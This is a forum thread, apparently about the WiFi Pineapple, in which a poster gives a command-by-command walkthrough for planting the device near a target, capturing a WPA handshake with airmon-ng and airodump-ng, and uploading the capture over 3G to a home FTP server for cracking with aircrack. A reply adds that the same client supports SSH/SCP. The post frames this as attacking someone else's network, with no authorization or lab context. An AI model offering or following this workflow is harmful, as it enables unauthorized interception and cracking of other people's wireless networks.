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YAFC - Yet Another FTP Client


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Hey guys, just a quick FYI that 'yafc' works very cleanly as an FTP client to transfer files to/from the pineapple and your home machine.

opkg -d /usb/ install yafc

I tested this over 3g autossh, capturing a PSK handshake and FTP'ing the captured file to my PC at home for further 'analysis'. Just thought this may interest someone.... This allows you to drop the pineapple near the target, sniff remotely, transfer the capture file and then crack the PSK using aircrack or similar tool - from the comfort of your leather chair at home (if you have one).

As mentioned, this was all done over 3g.....

# Turn card into monitor mode - I used an Alfa external card for this

root@Pineapple:~# airmon-ng start wlan1

Interface Chipset Driver

wlan1 RTL8187 rtl8187 - [phy1]

(monitor mode enabled on mon0)

wlan0 Atheros ath9k - [phy0]


# Capture frames on channel 1 (that my target AP is using), save the capture file to my usb stick (/usb/captures with filename 'wpa') in pcap format (so that I can open in wireshark later).

root@Pineapple:~# airodump-ng --channel 1 --write /usb/captures/wpa --output-format pcap mon0

# Once WPA handshake captured, stop the capture (CTRL+C) and verify you have the capture file;

root@Pineapple:~# cd /usb/captures/

root@Pineapple:/usb/captures# ls



# Next, use yafc to transfer the capture file to your home PC;

root@Pineapple:/usb/captures# yafc ftp username:password@myname.dyndns-at-home.com

yafc 1.1.1 Copyright © 1998-2001 Martin Hedenfalk <mhe@home.se>.

This program comes with ABSOLUTELY NO WARRANTY; for details type 'warranty'.

This is free software; type 'copyright' for details.

Looking up ftp... ftp: Unknown host

Connecting to myname.dyndns-at-home.com (x.x.x.x) at port 21...

3Com 3CDaemon FTP Server Version 2.0

User logged in

yafc myname.dyndns-at-home.com:/> put /usb/captures/wpa-01.cap


yafc myname.dyndns-at-home.com:/>

Hey presto, you now have the capture file - try and crack the PSK.....

Obviously there are many uses, but I think yafc is a must for stuff like this.


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Ofcourse. YAFC does SCP B)

FTP was shown purely as an example....see below (SSH can be read as SCP in this instance)

root@Pineapple:~# yafc --help

yafc 1.1.1 Copyright © 1998-2001 Martin Hedenfalk <mhe@home.se>.

This is yet another FTP client. Usage:

yafc [options] [[proto://][user[:password]@]hostname[:port][/directory] ...]

proto can be either 'ftp' or 'ssh'

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